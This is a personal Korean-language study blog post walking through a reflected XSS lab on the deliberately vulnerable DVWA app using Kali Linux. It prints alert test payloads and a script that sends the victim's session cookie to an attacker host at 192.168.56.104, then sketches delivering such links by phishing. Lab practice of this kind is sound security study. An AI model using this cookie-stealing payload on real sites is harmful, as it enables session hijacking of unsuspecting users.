yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

Reflected XSS 공격 실습 본문

웹/웹 해킹

Reflected XSS 공격 실습

yehey 2020. 10. 4. 18:12
실습 환경: DVWA-XSS(Reflected), kali 리눅스

Reflected XSS 공격 실습

 

입력창에 yehey를 쳐서 보냈더니 Hello yehey라고 출력되고 있다.

사용자가 입력한 값이 그대로 다시 출력되었음 = reflected XSS 취약점이 존재할 가능성 ↑

추가적으로 다음과 같은 간단한 스크립트를 입력해 실행되는지 확인해보자 

 

<script>alert(1)</script>

 

다음과 같이 1이라는 팝업창이 뜬 것을 확인할 수 있다.

이 페이지는 Reflected XSS 취약점이 존재한다!

 

이제 쿠키 값을 가져와보자

 

<script>alert(document.cookie)</script>

다음과 같이 PHPSESSED라는 세션 ID 쿠키를 알아낼 수 있다.

세션 쿠키를 공격자의 호스트로 전달하기

칼리 리눅스를 공격자의 호스트라고 가정

세션 쿠키를 공격자의 호스트의 웹 서버를 통해 전달받을 것이기 때문에 칼리에서 웹 서버를 실행 (apache2)

 

위와 같이 루트 계정으로 apache2를 실행하고 ip addr을 통해 페이지 주소를 얻어냈다. (192.168.56.104)

파이어 폭스에서 해당 주소로 접근하면 다음과 같은 창이 나와야 한다.

 

웹 서버가 정상적으로 작동한다!

이제 로그 파일을 모니터링하기 위해, 터미널에서 tail -f /var/log/apache2/access.log 를 입력한다.

access.log 는 접근 로그를 기록하는 파일, 웹 서버로 들어온 요정정보가 기록된다.
tail: 파일의 내용이 갱신되면 새로 추가된 내용을 바로 출력해주는 명령어, 모니터링 시 유용하다.

 

이제 세션 쿠키를 전달하기 위해 다음과 같은 스크립트를 DVWA 입력창에 넣어준다.

document.location: 지정한 위치로 리다이렉트 (스크립트가 실행되면 웹 브라우저는 입력된 ip의 호스트로 접속하게 된다.)
<script>document.location='http://192.168.56.104/cookie?'+document.cookie</script>

요청을 전송한 후에는 404 Not Found 라는 에러가 발생하는데, 이는 cookie라는 URL이 공격자의 호스트에 존재하지 않아 발생하는 에러. 실제 상황에서는 사용자가 눈치채지 못할 만큼 그럴듯한 웹 페이지를 자바스크립트를 이용해서 생성한다.

 

이제 터미널로 돌아가 접근 로그를 보면 쿠키 정보가 전달된 것이 갱신되어있음을 확인할 수 있다.

 

실제로 공격을 할 때는 사용자가 스크립트를 입력하는 상황은 없기 때문에 공격자는 피싱을 이용해서 사용자가 자기도 모르게 요청을 전달하도록 만들어야 한다. 
공격자는 여러가지 매체(이메일, 게시판, SNS, 문제메시지 등)를 이용해서 XSS 취약점이 존재하는 URL의 링크를 다른 사용자로 하여금 클릭하도록 만든다.

' > 웹 해킹' 카테고리의 다른 글

파일 인클루전 (File inclusion)  (0) 2020.11.11
Stored XSS 공격 실습  (0) 2020.10.08
Command injection 공격 실습  (0) 2020.10.01
SQL injection 실습3 (Blind)  (0) 2020.09.30
SQL injection 실습2 (ORDER BY & UNION)  (0) 2020.09.30
Comments